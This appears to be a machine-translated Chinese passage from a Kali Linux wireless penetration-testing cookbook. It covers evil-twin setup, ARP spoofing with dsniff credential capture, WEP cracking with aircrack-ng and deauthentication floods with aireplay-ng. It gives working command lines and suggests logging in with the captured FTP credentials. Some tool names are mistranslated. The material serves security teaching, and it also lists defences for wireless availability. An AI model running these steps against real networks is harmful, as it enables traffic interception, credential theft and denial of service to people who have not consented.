为了产生更强的信号,我们可以这样做:

    iwconfig wlan0 txpower 27

以下显示了iwconfig命令的结果。请注意Tx-Power设置:

通过发送一个去认证数据包,我们故意将连接到合法访问点的客户端从网络中踢出,以便让他们重新连接到我们的网络。尽管仅仅向连接到特定访问点的客户端发送去认证帧并不足以确保他们会重新连接到我们的访问点,但这确实给了他们这样做的机会。有可能您已经捕获到了连接到您的访问点的客户端,而无需进一步操作,但我们希望有更多的保险来实现这一点。所以,让我们继续。

以下显示了iwconfig命令的结果。请注意Tx-Power设置:

使用 iwconfig 命令的结果

这个命令将把 AP 的功率提升到在美国允许的最大值,即 27 dBm 或 500 毫瓦。虽然在一些卡上可能会将功率提升到超过这个限制,比如 2000 毫瓦,但这不仅是非法的,而且会因为额外的热量和压力而缩短您的卡的寿命。

值得强调的是,无谓地增加接入点的功率会带来很多麻烦。正如我们已经提到的,将接入点的功率调高到一定阈值以上可能在您的国家是非法的。将接入点或无线设备的功率调高到超出容量的另一个问题是,它会产生更多的热量,因为用于调制信号的收发器被推到了设计规格之外。随着热量的积聚,它会减少该设备的使用寿命。您甚至可能会将您的设备变成火灾风险。最后,无谓地提高功率违反了法律标准,这意味着您可能会淹没其他接入点范围内的无线设备的信号。虽然这听起来可能是个好主意,但它确实增加了您被抓到的可能性。确保您了解将无线设备的功率调高到超出设计规格或法律限制的问题。

在这一点上,我们可以再次运行airodump来查看客户端是否连接到我们的接入点。我们还可以使用嗅探器来捕获流量或运行中间人攻击,这些我们稍后会做。请记住,到目前为止,我们所做的是从客户端捕获无线流量并将其重定向到我们的接入点。此时还很重要的一点是,我们在本文中所做的一切只是设置了恶意的双胞胎。我们还没有设置自己来捕获任何流量。我们如何做到这一点取决于我们自己。

中间人攻击与无线

中间人攻击是一种更高级的攻击形式,它建立在先前的行动基础之上。这种攻击发生在第三方拦截两个系统之间的通信并观察流量或以某种方式更改流量时。这种类型的攻击绝对比通过嗅探进行的窃听更进一步,但最初它的开始方式非常相似。

让我们从讨论一些基本要点开始这次攻击,首先是关于交换机和欺骗的主题。

我们对交换机的解释旨在作为交换机的功能和放置位置以及网络设备的层次结构的入门或复习。它并不意味着对交换机的细节或设备的解剖以及它们的功能方式进行详尽的讨论。如果您对交换机、它们的功能、为什么要在网络上放置它们以及它们相对于其他传统网络设备(如集线器)的优势不熟悉,那么您可能需要在继续之前查看相关信息。这样做将有助于您充分利用本文并具体了解我们试图实现的目标。

正如您可能已经知道的那样,交换机是一种用于通过 MAC 地址控制流量的设备。这些设备在当今的环境中被广泛使用,您应该期望了解并处理它们,以便在它们阻止您的攻击尝试时能够正确地参与和击败它们。交换机很受欢迎,因为它们可以减少网络拥塞和相关的网络流量,更不用说它们只向 MAC 地址发送流量,也就是说,发送到预期目的地。正是因为这些能力,交换机已经取代了集线器,集线器无法控制流量或阻止其他客户端窃听与它们无关的连接。为了对抗交换机的安全性,已经开发了一些技术,包括 MAC 洪泛、DHCP 饥饿和 ARP 欺骗等行动。其中一些技术用于绕过交换机,而其他技术则旨在直接针对交换机并使其像集线器一样运行,从而使我们的攻击更容易实施。

通常,洪泛攻击不适用于过去十年或更长时间内部署的交换机。通常,现代交换机不再起作用,即使在旧的交换机上,警惕的网络管理员也会注意到网络流量和数量的变化。为了让交换机知道将流量发送到何处,它们维护一个 CAM 表,该表基本上将 IP 地址映射到 MAC 地址。例如,该表表示当流量发送到 IP 地址192.168.1.101时,将该流量发送到 MAC 地址11:22:33:44:EE:FF

如果我们可以改变表中的条目,我们就可以成功地获取别人的流量。这就是所谓的 ARP 欺骗,因为 CAM 表中的条目来自交换机发送的 ARP,以从网卡获取这些信息。

在本节的示例中,我们将利用一种称为 ARP 欺骗的技术,这种技术旨在允许我们插入自己在目标之间,并让他们相信他们仍在直接交谈。

ARP 欺骗是一种攻击形式,通常被用作另一种攻击的组成部分或前兆。在这种攻击中,恶意方在本地网络上发送伪造的 ARP 消息序列。这样做的目的是创建或更改系统或计算机上 IP 和 MAC 地址的连接或关联,使其与应该是的不同。一旦攻击者完成了欺骗部分,他们就可以有效地改变网络段上的流量。一旦攻击者的 MAC 地址连接到一个真实的 IP 地址,攻击者将开始接收任何发送给该 IP 地址的数据。

关于窃听的一点要记住的是,可以使用许多不同的协议进行窃听,如 FTP、HTTP 等。基本上,任何形式的在线通信都可能受到中间人攻击,只要采用正确的方法。在本节的示例中,我们将演示如何仅使用特定协议执行攻击,但这个示例可以扩展到其他适当的协议。

讨论类似 DCF 这样的工具时要记住的一件事是,它利用了许多协议(如 FTP 和 HTTP)在设计时没有考虑安全性的事实。这些协议的设计是为了执行非常特定的功能,比如文件或其他信息的传输,它们在核心功能上表现出色,几乎没有问题。然而,由于这些协议的设计者在实际设计过程中没有考虑到今天我们看到的安全问题,因此像 dsniff 或 Wireshark 等工具就会利用这种缺乏安全性。

在 Wi-Fi 网络的情况下,中间人攻击是一种特别吸引人的攻击,因为环境的设计。在这种环境中,攻击者所要做的就是等待客户端连接,然后开始游戏。使用伪造接入点等方法,或者破解 WEP 或 WPA 密钥并连接到现有网络,都是执行中间人攻击的有效方法。

需要指出的一点是,中间人攻击可能对受攻击的客户端是无法检测到的。就受害者而言,当中间人攻击发生时,他们正在与最初打算进行通信的人进行通信;他们不知道有第三方正在拦截并可能以某种方式操纵他们的流量。如果攻击者不采取任何行动来让他们的存在得到确认,或者不向任何人透露他们的存在,那么很难察觉到他们的存在。然而,有办法可以做到。例如,网络入侵检测系统可以检测到流量的变化,并通知系统所有者或管理员进行响应。

准备工作

要开始操作,您需要准备以下物品:

  • 能够进入监视器模式的无线网卡

  • 安装了 Wireshark 的 Kali Linux

如何做...

为了执行中间人攻击,我们需要整合一些新的和旧的工具和技术。话虽如此,让我们开始吧。

在这种攻击中需要关注的一点是,我们将同时在 Kali 中使用多个终端窗口。事实上,在这个特定的步骤中,我们将使用三个同时运行的终端窗口,每个窗口执行过程的不同部分。因此,请记住要集中注意力,并注意在这个步骤中应该在哪个窗口中。

请记住,在本书中以及在现实生活中,您会发现自己处于多种情况下,需要同时运行多个终端窗口。这通常是因为您需要在命令行中运行多个实用程序,每个实用程序都设计用于执行一个过程或任务的一部分。因此,在执行这些攻击时,请确保您真正注意自己在任何时候处于哪个窗口中,以确保您不会无意中取消或运行一个命令或序列,从而产生与您预期不同的结果。

在这个步骤中,我们将执行一些旨在捕获我们正在寻找的信息的步骤。

将发生的第一步是运行 ARP 欺骗,旨在帮助我们重定向和捕获流量,然后能够在以后捕获凭据。

在尝试此攻击时要记住的一点是,此攻击只能在本地网络上进行;它不会跨不同子网或甚至在两个不同的网络上进行。原因是 ARP 协议只在本地网络上工作——它不是设计用于其他情况。因此,在除本地网络以外的任何地方尝试执行此攻击将导致失败。这是一个非常重要的细节,要记住,忘记它可能会导致攻击失败,这可能会非常令人沮丧。

我们将通过用我们本地系统的 MAC 地址替换服务器的 MAC 地址来执行客户端的第一步。这将把流量重定向到我们的系统而不是实际的服务器。

我们通过在一个终端窗口中运行arpspoof来执行此操作,如下所示:

    arpspoof <client IP> <server IP> 

这将告诉客户端我们是他们在尝试联系服务器时正在寻找的系统。

下一步是用我们系统的 MAC 地址替换客户端的 MAC 地址。这只需简单地颠倒之前使用的 IP 地址的顺序:

Arpspoof <server IP> <client IP> 

以下屏幕截图显示了颠倒 IP 地址的顺序:

在这里,我们告诉服务器我们是客户端。

现在执行这两个命令。当我们这样做时,客户端会认为我们是服务器,服务器会认为我们是客户端!

一旦我们伪造了客户端的 MAC 地址以重定向其流量,我们需要执行一个称为转发或 IP 转发的过程。实质上,我们所做的是通过我们的系统从客户端到服务器和从服务器到客户端转发流量,以确保来自一方的请求到达另一方,反之亦然。如果我们不执行转发,连接将会被有效地中断,因为从一个网络接口路由到另一个网络接口的流量将无法到达目的地。

请记住,此攻击的成功取决于客户端与其预期目的地之间保持可靠和一致的连接。您正在介入此连接尝试以及任何随后的信息交换,并且您正在尝试在所需的时间内保持您的存在未知和未被检测到,以收集您正在寻找的信息。

要启用转发,我们使用ip_forward命令,默认情况下 Linux 中包含此功能,允许我们尝试配置的过程。在正常情况下,此功能是禁用的,因此我们需要重新启用它。Linux 具有内置功能来转发它接收到的数据包。

我们通过使用以下命令来实现这一点:

echo 1 > /proc/sys/net/ipv4/ip_forward

现在,我们的系统已插入到这些通信主机之间,并且我们的客户端和服务器已被调用,我们可以开始下一阶段,即开始嗅探流量,以寻找有用的凭据。

请记住,在使用中间人攻击或任何其他使用嗅探的攻击时,未受保护的协议(如 HTTP 或 FTP)会使攻击变得更加容易。而采用旨在保护信息机密性和完整性的加密的技术(如 SSH)将使嗅探极其无效,无法收集有用的信息或凭据,因为它们旨在保护客户数据。

为了执行这一步,我们将使用一套称为dsniff套件的工具,这套工具已经存在了好几年,但在执行各种不同的攻击时仍然非常有用。该套件包括多种不同的工具,旨在捕获各种流量并提取有用信息,例如来自 FTP、telnet、HTTP、SNMP、POP、LDAP 等容易被拦截和处理其信息的凭据。

为了使用 dsniff,我们发出以下命令:

    dsniff

当我们执行此命令时,您会看到dsniff会迅速回应说它正在eth0上监听。但是,使用-I命令可以告诉它完全在不同的接口上监听。

执行此命令后,我们现在所要做的就是等待。我们正在等待的是客户端连接到服务器。有了dsniff的帮助,我们会发现一旦客户端登录,他们将成为我们嗅探努力的受害者,他们的凭据将直接显示在我们的屏幕上,我们可以记下它们,稍后可以像以下截图所示那样使用它们:

在这个截图中,您会注意到 DCF 已经捕获了连接到服务器的客户端的凭据。实际上,在这里,您可以看到谁连接到谁,因此能够建立客户端/服务器关系。

一旦您在屏幕上看到凭据,您还将看到这些凭据发送到的 IP 地址,这意味着现在您所要做的就是打开您的 FTP 客户端,并将其指向相同的 IP 地址。在提供用户名和密码后,您可以登录到该系统并浏览其中的任何信息和服务。

破解 WEP

无线网络的一个独特特点当然是它们不使用传统媒体,而是使用无线电波将信息从一个点传输到另一个点。这就是使得网络如此吸引人和受欢迎的原因,一个人可以在无线网络的范围内的任何地方携带他们的设备,并且仍然可以保持访问而不必担心电缆等。然而,这种优势是有代价的,即无线电信号是不加区分的,任何能够接收它们的人也能够处理它们携带的信息。

幸运的是,无线网络的设计者将这视为一个问题,并决定在 IEEE 802.11b 网络设计的初始规范中添加保护,即有线等效协议WEP)。在发布时,WEP 被视为一个很好的功能,然而,不久之后问题出现并随后迅速扩大。

WEP 是可用加密协议中最古老且可以说是最薄弱的。WEP 标准被引入作为无线安全的初始解决方案,但很快被发现存在缺陷和极易受攻击。该协议被发现存在缺陷和易受攻击的原因有很多;其中之一是协议中的密码学实现不佳。不仅实现设计和实施不佳,而且没有经验丰富的密码学家审查,他们可能能够发现任何缺陷和漏洞并解决它们。

WPA,或 Wi-Fi 保护访问,是 WEP 的继任者,旨在解决困扰 WEP 的许多问题。在许多领域,它成功了,并成为了一个更加严格的安全协议。WPA 使用 TKIP、MIC 和 AES 加密作为其保护信息的主要机制。

WPA2 是 WPA 的升级或继任者,旨在解决和取代 WPA 的问题。WPA2 更加强大,使用更严格的 AES 和 CCMP 加密。该标准还有一个版本,使用更强大的系统,如 EAP、TKIP 和 AES(带有更长的密钥)。

然而,在我们讨论问题之前,让我们看看 WEP 应该如何工作。之后,我们将继续讨论如何利用它的问题。

WEP 是无线加密协议中最古老的,最初引入并集成到 802.11b 标准中,它被视为提供安全数据传输的一种方式,或多或少与有线网络相当。按设计,WEP 协议利用了一些现有技术,包括 RC4 加密协议。

当它被设计和推出时,旨在实现以下目标:

  • 打败窃听通信和试图减少未经授权的数据披露

  • 在数据流经网络时检查数据的完整性

  • 在传输之前使用共享的秘密密钥加密数据包

  • 在轻量级、高效的系统中提供机密性、访问控制和完整性

它的问题源于以下情况:

  • 该协议是在没有经验丰富的密码学家、学术界甚至公众的审查下设计的。

  • 它没有明确定义的密钥分发方法(如集中式密钥管理),除了预共享密钥,必须手动输入到每个站点。因此,密钥在大规模更改时很麻烦,因此很少更改。

  • 其设计使得可以通过嗅探工具和操作系统中免费提供的破解工具被动地发现密钥,例如基于 Linux 的 Kali。

  • 不同供应商使用的密钥生成器设计不一致且设计不良,导致漏洞,例如使用 40 位密钥的问题。

  • 用于执行密钥调度的算法已被证明容易受到攻击。

  • CRC32 在完整性检查中存在缺陷,并且通过轻微修改,攻击者可以一致地修改数据包以产生他们期望的结果。

  • 初始化向量IVs)只有 24 位长度,这意味着一个轻度活跃的网络可以在五小时或更短的时间内耗尽整个 IV 池。

  • 它容易受到通过分析数据包进行已知明文攻击的影响。

  • 密钥可以通过分析数据包来获取,从而创建解密表。

  • 它容易受到拒绝服务攻击的影响,通过使用 WEP 未经身份验证的关联和取消关联消息。

准备工作

要开始,您需要准备好以下项目:

  • 能够进入监视模式的无线网卡

  • Kali Linux

这里列出的项目是基本要求,如果需要,您可以轻松使用更多(或不同)组件。例如,如果您想要增强范围,您可以使用一个带有外部天线连接的基于 USB 的无线网卡,这样可以获得更好的接收效果。

在这个练习中需要记住的一件重要事情是,我们将使用一系列工具,这些工具都来自一个旨在破解和分析无线网络流量的工具套件。在随后的章节中,我们将重新访问套件中的不同工具,并在途中为不同目的使用它们。这将是你对 air-crack 套件中一些成员的首次探索。

第一步 - 监视模式 airmon-ng

我们必须做的第一步是将无线适配器置于混杂模式或监视模式。这与我们在以前的章节中所做的没有什么不同。在这种情况下,我们假设我们的无线适配器使用名称wlan0,但请仔细检查以确保您系统上的名称相同。

    airmon-ng start wlan0

与以前一样,airmon-ng实用程序已将我们的无线网卡切换到监视模式,并且应该已将其重命名为类似mon0的名称。完成此操作后,我们现在将能够查看所有我们需要的流量。以下屏幕截图显示了airmon-ng命令的结果:

airmon-ng 将 wlan0 切换到监视模式。

第二步 - airdump-ng

有了监视模式,我们现在将开始使用相同的无线适配器收集流量。要使用airodump-ng执行此操作,我们将输入以下内容:

    airodump-ng mon0

请注意我们使用了监视接口的新名称mon0。您应该使用ifconfig验证名称,以确保您的新接口名称与之前相同。

完成此步骤后,您应该开始看到访问点,选择要创建恶意双胞胎的访问点取决于您:

第三步 - airdump-ng 和流量捕获

从此屏幕截图中的访问点列表中,您将注意到有两个启用 WEP 的访问点,我们将选择名为7871的访问点。

airodump-ng --bssid 0A:86:3B:74:22:77 -c 6 -w crack mon0 

这将开始捕获来自 SSID7871的通道6上的数据包,并将它们写入名为 crack 的文件中,该文件将以pcap格式保存。这种方法的问题在于我们需要捕获大量数据包或流量才能真正破解或检索密钥。如果你是一个喜欢耐心等待的人,你可以等待捕获 50,000 或 60,000 甚至 100,000 个数据包后再进行破解过程。然而,这还不够好;我们想要密钥,而且希望在最短的时间内获得它。让我们通过设置可以实现这一目标的情况来做到这一点。

关于需要捕获的数据包数量,实际上存在一些争论,以使破解过程成功,因此您可能需要进行一些实验,以获得一致可靠的结果。然而,仅供参考,需要收集的流量量通常在 60,000 个数据包到 100,000 个或更多之间。

第四步 - 重放流量

为了加快这个过程,我们需要在很短的时间内生成大量的流量。为了做到这一点,我们将执行一个称为数据包注入的过程,我们还将伪造一个 MAC 地址,以诱发一波我们可以捕获的流量。

有许多不同的方法可以重放流量,实际上,这种技术用于在主机或应用程序之间重放认证流量和其他类型的网络流量。然而,请记住,有些类型的流量不能轻松地或根本无法重放。事实上,阻止数据重放攻击的最大因素之一是时间戳,其中包括告诉数据包何时传输以及有效期多长的信息。幸运的是,ARP 流量默认情况下没有这种保护,尽管可以通过其他机制提供。我们在这里使用的技术不会遇到这种限制,因为我们没有捕获或重放受此保护或限制的流量。

执行此步骤所需的组件将是接入点的 SSID,已连接到接入点的客户端的 MAC 地址,以及一个名为aireplay-ng的工具。我们将使用以下格式的实用程序发出命令:

aireplay-ng -3 -b 0A:86:3B:74:22:77 -h 44:60:57:c8:58:A0 mon0 

如果到目前为止我们已经做得一切正确,我们在另一个窗口中运行的airodump仍将在运行,并且能够将我们生成的所有流量捕获到我们命名为 crack 的文件中,然后我们将使用它来进行分析并检索密钥。

第五步 - 破解流量

在我们继续进行第五步,也就是我们实际破解流量的地方,我们需要确保我们已经捕获了数万个数据包,以确保我们有足够的流量进行适当的分析。如果您没有捕获足够的流量,那么这个过程很可能会失败,您将不得不重新生成流量,以捕获更多的流量。因此,请记住要耐心,并确保捕获足够的流量以合理成功地执行该过程。

在尝试从捕获的流量中恢复密钥时要记住的一件事是,这可能需要一些时间,这取决于试图恢复密钥的系统上可用的资源。如果您有一个速度较慢或较旧的系统,预计这个过程会比在具有更多处理能力或内存的系统上花费更长的时间。如果您已经收集了足够的流量,那么这个过程应该是成功的 - 无论花费多长时间。

为了破解流量,我们需要拥有一个捕获文件,这是我们之前使用airodump生成的。我们使用aireplay生成的所有流量都应该被捕获到这个文件中,然后我们可以使用以下实用程序进行分析:

aircrack-ng crack.cap 

如果成功了,aircrack将在屏幕上以十六进制显示密钥,然后您可以将其用于与目标接入点关联时输入到您的无线客户端中。

如果您耐心和细心地执行了这次攻击的步骤,您会发现您有很大的成功机会,并且应该能够随需访问任何启用 WEP 的网络。还要记住,确保使用airodump将足够的流量捕获到文件中可能需要一些练习;学习曲线是正常的。

这种保护无线网络的方式在很大程度上受到了利用,因此被视为一种不被赞同或避之不及的保护形式。当这种保护机制在早期无线网络中首次亮相时,它被认为是一种体面的保护形式。然而,随着技术的发展和攻击者寻求捕获信息的不同方式,很快就发现了一种漏洞。正是这种漏洞在这个特定的配方中被利用。如今的网络不应该将这种保护措施作为保护无线流量的主要手段,因为它并不难破解 - 只需要一点技巧和耐心,你就能得到你想要的信息。

第五章:攻击可用性

在本章中,我们将涵盖以下内容:

  • 执行去认证洪水攻击

  • 检测信标帧

  • 欺骗信标帧

  • 创建信标洪水攻击

  • ARP 缓存中毒

介绍

到目前为止,我们已经看到了 CIA 三要素中的两个。现在是时候看看 CIA 三要素的第三个和最后一个部分,即可用性。简单地说,可用性处理围绕着对资源(如文件、计算机甚至整个网络)丧失访问的问题,正如我们将在本章中看到的。可以想象,可用性的丧失是一个大问题,主要是因为如果您无法访问某物,无论那是什么,它对您来说基本上变得毫无价值,直到您再次获得访问权限。可以说,丧失对某物的访问权限也是相当令人沮丧的,因为这意味着您可能无法完成工作或任务,直到重新获得访问权限。

让我们在讨论可用性概念时再思考一下。想象一下在无线基础网络或环境中,客户端依赖于对文件、服务器甚至互联网的持续可靠访问,而无线访问丢失的情况。在这种情况下,如果这些客户端依赖于该访问来进行工作,您可能会有一个无法有效运行的业务或客户,这意味着业务本身可能无法运行,这绝对不是理想的情况。请记住,在某些情况下,即使部分丢失或受阻的可用性也足以严重影响业务。我们可以通过简单地想象自己可能遇到的情况来想象这种情况,比如在咖啡店、机场甚至酒店连接到无线网络。一个超出容量的拥挤网络,极其缓慢并且提供不可靠的资源访问,也会对业务的运营产生重大影响。事实上,在这种情况下,即使访问存在但速度非常慢,也会导致业务陷入停滞,这是不可接受的,需要避免。

在无线网络中,对抗可用性的影响是一个棘手的过程,但是非常可行。您会发现您有几种选项来对抗我们在本章中将看到的攻击类型,并使您的无线网络更具弹性和抵抗丧失可用性的影响。只是为了让您一窥究竟,这里有一些我们可以采用的对策,可以限制丧失可用性的影响,甚至可以消除这种可能性:

  • 调谐:我所说的调谐是设置和配置您的无线接入点,以避免使用其他接入点可能正在使用的频道和频率。通过避免使用这些频道,您可以在很大程度上防止由于争夺频率和拥挤的频道而导致的减速、可用性丧失和减少范围。现在,请记住,您可能并不总是能够在特定区域独占使用频道和频率。您可以选择一个比其他区域的监狱拥挤得少的频道和频率,这样您就可以比在更拥挤的频道上有更多的空间。

  • 冗余:使用这种技术简单地意味着我们实施了一种称为网状网络的东西,这是一种类似蜘蛛网的设置,设置在多个用于覆盖区域的接入点之间。通过使用这种设置,可以让多个接入点覆盖一个区域,以便如果其中任何一个接入点,甚至多个接入点,变得拥挤,我们可以安排提供一个强信号,其他节点或接入点可以接收并给客户一个更强大和更可靠的信号。虽然这种设置需要一些规划和努力才能使其发挥作用,但对于任何处理慢速或拥挤网络的人来说,它可以带来巨大的回报。值得注意的是,与之前几年可用的一些解决方案不同,现在可以以更具用户友好性甚至是消费者为基础的解决方案来廉价快速地设置网状网络,从家庭环境一直到大规模企业部署。

  • 企业认证:虽然在保密性和完整性的前几章中提到了这个解决方案,但在可用性方面,它实际上有了不同的目的。使用其技术的企业认证系统,比如 radius 或直径,可以使无线网络的认证方面更难以被挤掉线,因此在面对基于拒绝服务的攻击时更具弹性。主要采用这种系统或机制意味着攻击者必须付出更多的努力才能通过认证系统将这个网络挤掉线,而不是如果他们有一个在自己身上做所有的专用接入点。这种解决方案的缺点是它需要更多的努力和更多的专业知识来设置和使其有效运行,但如果你想给自己一些额外的保护,这是值得考虑的。

  • 补丁和更新:对于任何在 IT 领域工作了足够长时间的人来说,你可能不需要我来解释定期对固件软件进行补丁和更新的概念,但这是值得一提的。我们对客户和接入点的固件进行补丁和更新的原因是为了确保我们利用最新的功能和修复程序,其中一些可以使我们挫败拒绝服务和其他可用性攻击。

  • 配置:这是一个涵盖了很多内容的大领域,可以帮助你极大地击败影响可用性的攻击。当我说这是一个大领域时,配置涵盖了从接入点的放置和设置、要使用的天线类型、要覆盖的设施或校园的部分,甚至一些小细节,比如在客户工作期间需要覆盖多少区域,以及他们在移动时需要访问无线网络的距离。

再次强调,这只是一个简短的清单,只是为了让你意识到一些可以用来阻碍可用性的事情。你应该始终保持对可用性问题和无线网络的最新了解,因为这往往是影响无线网络被客户群体认知和接受程度最大的领域之一。虽然保密性和完整性很重要,但客户更有可能注意到与可用性相关的问题,而不是其他两个方面。慢速网络和不可用的网络更加明显,因此不仅应该从用户满意度的角度来解决,还应该从安全的角度来解决。

攻击类型

正如所说,有很多方法可以影响无线网络的可用性。它们都有相同的基本目标,即防止无线网络被有效地连接和使用,或者根本无法连接。

在我们开始深入讨论每种攻击之前,我们应该首先定义本章将涵盖的攻击类型:

  • 执行去关联洪水

  • 检测信标帧

  • 欺骗信标帧

  • 执行信标洪水

  • 执行去认证洪水

  • ARP 缓存中毒

  • 执行拒绝服务

  • 隐藏无线网络

这些攻击代表了一些影响无线网络可用性的更受欢迎的方式,因此我们在这里介绍它们。总之,还有其他故意和意外的可用性攻击可能困扰你的无线环境,你需要自行进行更多的研究。

执行去认证洪水

这种首次可用性攻击是一个有趣的攻击,而且非常有效。这种攻击被称为去关联洪水。在这种类型的攻击中,恶意方试图打破客户端与接入点的关联。当进行这种类型的攻击时,客户端将经历这样一种情况,他们被从无线接入点中踢出,并发现自己试图重新连接到接入点。关键词在于,他们是否能够连接到无线接入点。如果这种洪水以足够高的音量进行,并保持在那个水平,这意味着没有客户端能够长时间或根本无法连接到无线网络,这取决于条件如何发展。

只是为了明确,我们在这个章节讨论的攻击类型不是基于干扰的攻击。我们所说的干扰是指没有无线电信号或任何干扰被发送出去,用来阻止或阻碍无线网络所使用的频率。在执行基于干扰的攻击时,通常会使用一些东西,比如一个特定的重建设备,设计用来用无线电流量轰炸空气波,在这种情况下。虽然这种攻击会起作用,因为干扰会扰乱无线频率,但它的工作方式也是不加区别的。基本上,你不能选择哪些客户端会保持连接,哪些不会,也不能选择你想要阻塞的无线网络。在这些频率范围内的任何东西都将被阻塞。这种类型的攻击也存在非常真实的问题,即非法行为,并可能面临严厉的罚款甚至监禁。我们在本书中不会使用干扰。

提出这一点的唯一原因是,有时候去认证洪水被错误地称为干扰攻击。我们所讨论的攻击类型非常有选择性,意味着它可以使无线网络或个别客户端中断。它也不会用不加区别的无线电流量轰炸空气波,而是使用特制的帧来瞄准它的受害者或受害者。

关于这种类型的攻击,一个问题是为什么无线网络中实际上存在去认证帧?嗯,对此实际上有一个很好的答案,最明显的是它可以用来断开行为不端或因某种原因需要断开连接的无线客户端。这种帧类型存在的其他原因也有。例如,使用去认证帧将客户端踢出可能用于发现连接到您的无线网络的恶意客户端的情况。一旦发现它们,可以有选择性地针对性地断开连接。这种认证帧的另一个更恶意的用途不仅可以造成服务拒绝,还可以迫使客户端连接到我们控制的伪装接入点。在这种情况下,我们会在合法接入点的附近设置我们自己的无线接入点。然后,我们会发送去认证帧将人们从合法网络中踢出,并可能迫使或诱使他们连接到我们控制的接入点。这个接入点恰好是可用的,准备好并开放与他们一起工作。以下图表显示了连接到无线网络的正常认证过程:

无线网络的正常认证过程和去认证

如果我不提及另一种半合法(我轻描淡写地使用这个词)使用去认证帧的情况,那就真的是我的疏忽了。一个半合法使用去认证帧的例子发生在美国,一家酒店连锁被发现强迫人们使用酒店的 Wi-Fi 而不是其他提供商的 Wi-Fi。在这种情况下,酒店使用设备发送去认证帧,阻止酒店客人使用外部 Wi-Fi,而是支付酒店自己的 Wi-Fi 服务。一旦发现酒店使用这种类型的设备,很快就会遭到客人和客户的法律挑战。最终发现,在美国任何一家使用这种技术强制使用他们服务的酒店都是非法的,任何使用这种技术的企业都将受到联邦通信委员会的重罚和法律诉讼。

值得一提的是,关于在需要保障设施和数据传输安全的地方是否可以使用去认证洪水的讨论仍在进行中。目前,答案似乎是没有直接的答案,因为去认证洪水已被用于创建只有授权网络对某一商业区域的人员可用的安全空间。

以下图表显示了去认证洪水的概念:

去认证洪水

取消认证帧还有另一个用途,对于针对无线网络或网络进行渗透测试的人来说非常方便,那就是用它来获取网络的密码或密钥。在这种情况下,攻击者将发送 AE 取消认证洪水,并从目标网络中的客户端中踢出一个客户端。当该客户端尝试重新连接时,攻击者将嗅探在该连接期间生成的流量,并尝试提取连接信息交换。这种类型的攻击也可以用于诱导中间人情况,攻击者将取消认证受害者,然后强制他们通过一个恶意接入点重新认证。然后,他们将把流量引导到互联网连接或实际合法网络。实质上,首先我们会发出取消认证帧或洪水,然后我们会使用我们在前一章中探讨过的中间人或恶意接入点设置,然后我们将能够捕获这些凭据作为握手。

准备工作

要开始,您需要准备以下物品:

  • 能够进入监视模式的无线网卡

  • Kali Linux

如何做...

要执行关联洪水,我们只需要使用我们在早期章节中看到的步骤的组合,并额外添加一些内容以调整它以适应我们的目的。

在这种情况下,我们有一个客户端连接到无线接入点或无线路由器,正在进行他们的业务。攻击者将尝试中断他们与网络的连接:

  1. 为了开始,我们需要首先将我们的网络卡置于监视模式。再次强调,这与我们在以前的教程中所做的没有什么不同。为了简化事情,我们将假设我们的无线适配器使用名称wlan0,但请双重检查以确保在您的系统上名称相同:
    airmon-ng start wlan0

与以前一样,airmon-ng实用程序已将我们的无线卡切换到监视模式,并应该将其重命名为类似mon0的名称。完成后,我们将能够查看我们需要的所有流量。以下屏幕截图显示了airmon-ng命令的结果:

airmon-ng 将 wlan0 切换到监视模式。

  1. 接下来,我们需要使用airodump-ng工具从监视接口中捕获信息,如下所示:
 airodump-ng mon0 

此时,攻击者将可以访问有关目标系统范围内无线接入点的信息(ESSID、信道、BSSID 等):

  1. 有了手头的网络列表,我们现在可以选择一个,并将该网络的十六进制值放入airodump-ng命令中,以便专注于特定网络。这个命令的结果是,我们将能够检索到当前活跃连接到接入点的客户端列表。要找到这些信息,我们将使用以下命令:
 airodump-ng mon0 -c 1 -bssid 00:05:59:49:A7:A0 

其中airodump-ng是工具,mon0是接口,-c是信道,-bssid是接入点的 MAC 地址:

仔细检查后,结果将显示当前连接到接入点的客户端。为了简化操作,您只需浏览客户端列表,选择要踢掉的客户端,并注意其 MAC 地址,例如00:13:CE:AC:70:BE

  1. 最后一步是实际上取消认证或与接入点断开客户端的关联。我们这样做:
 aireplay-ng -0 1000 -a  00:05:59:49:A7:A0 -c 
    00:13:CE:AC:70:BE mon0 

其中aireplay-ng是工具,-0是取消认证攻击的参数,1000是要传输的取消认证的数量,-a是无线路由器的 MAC 地址,-c是客户端的 MAC 地址,mon0是接口:

前面的截图显示了攻击成功执行。客户端从网络中断开,并且在攻击者停止发送去认证消息之前无法建立连接。

检测信标帧

先前,我们讨论了信标帧及其对无线网络的重要性,以及它们在无线网络中的使用方式。现在,让我们更仔细地研究一下它们,看看信标帧中包含了什么,以及如何分析它,以便在本章节后续的攻击中使用这些信息。

那么,什么是信标帧?信标帧是由无线接入点发送的,用于识别无线网络的名称,关于该无线网络的一些参数,以及一些其他用于维护和其他任务的信息。每个无线网络都会定期发送信标帧,用于向处于该接入点范围内的无线客户端和设备宣布该网络的存在。

让我们分解一下由无线局域网发送的信标帧中的一些部分或组件:

  • 时间戳:时间戳作为信标帧的一部分包含在其中,目的是为了通知该网络上的所有无线客户端和设备同步或将其时钟设置为该时间。这允许网络比如果时钟运行在不同的间隔并且不相互同步时更有效地运行。这个时间戳随着信标一起发送,客户端会查看时间戳并将其时钟设置为这个时间,以便参与无线局域网的每个人都能同步。

  • 信标间隔:可以想象,像信标间隔这样的名称,这一定会告诉我们信标帧发送的频率。这个数值将告诉无线局域网上的节点信标帧必须发送的频率。在一些无线网络中,这是用户或系统管理员可配置的设置。然而,在大多数消费者级别的接入点和设备上,这是不可访问的,并且在制造接入点时由制造商定义。

  • 能力信息:这实际上是信标帧的一个重要组成部分,因为它描述了网络的格式,无论是运行基础设施还是自组网模式,无论是使用某些安全功能,甚至是支持的加密类型。可以想象,获取这些信息并能够解析它可以告诉你关于网络运行方式以及你需要了解的内容。

需要记住的一点是,虽然可以在无线网络上调整信标帧的间隔,但在每种情况下都改变间隔可能并不理想。虽然有好处,但也可能存在一些需要谨慎的缺点。例如,加快信标帧的传输可以更频繁地发送这些信标帧,但也会导致网络上的额外流量,这意味着从网络用户那里取走带宽,或者更具体地说,降低了网络的吞吐量,这意味着你实际上使网络变慢了。

加快信标帧的好处是客户端可以更快地关联到网络,如果它们漫游,它们将能够更快地跟踪网络和服务的变化。另一方面,拉长信标帧之间的时间将减少网络的开销。这样做的直接影响是关联速度变慢,漫游的客户端关联过程更慢,并且无法快速获取关于网络变化的信息。如果你是无线网络工程师,通常最好不要改变信标间隔,因为它可能会产生负面影响,正如它可能产生积极影响一样。

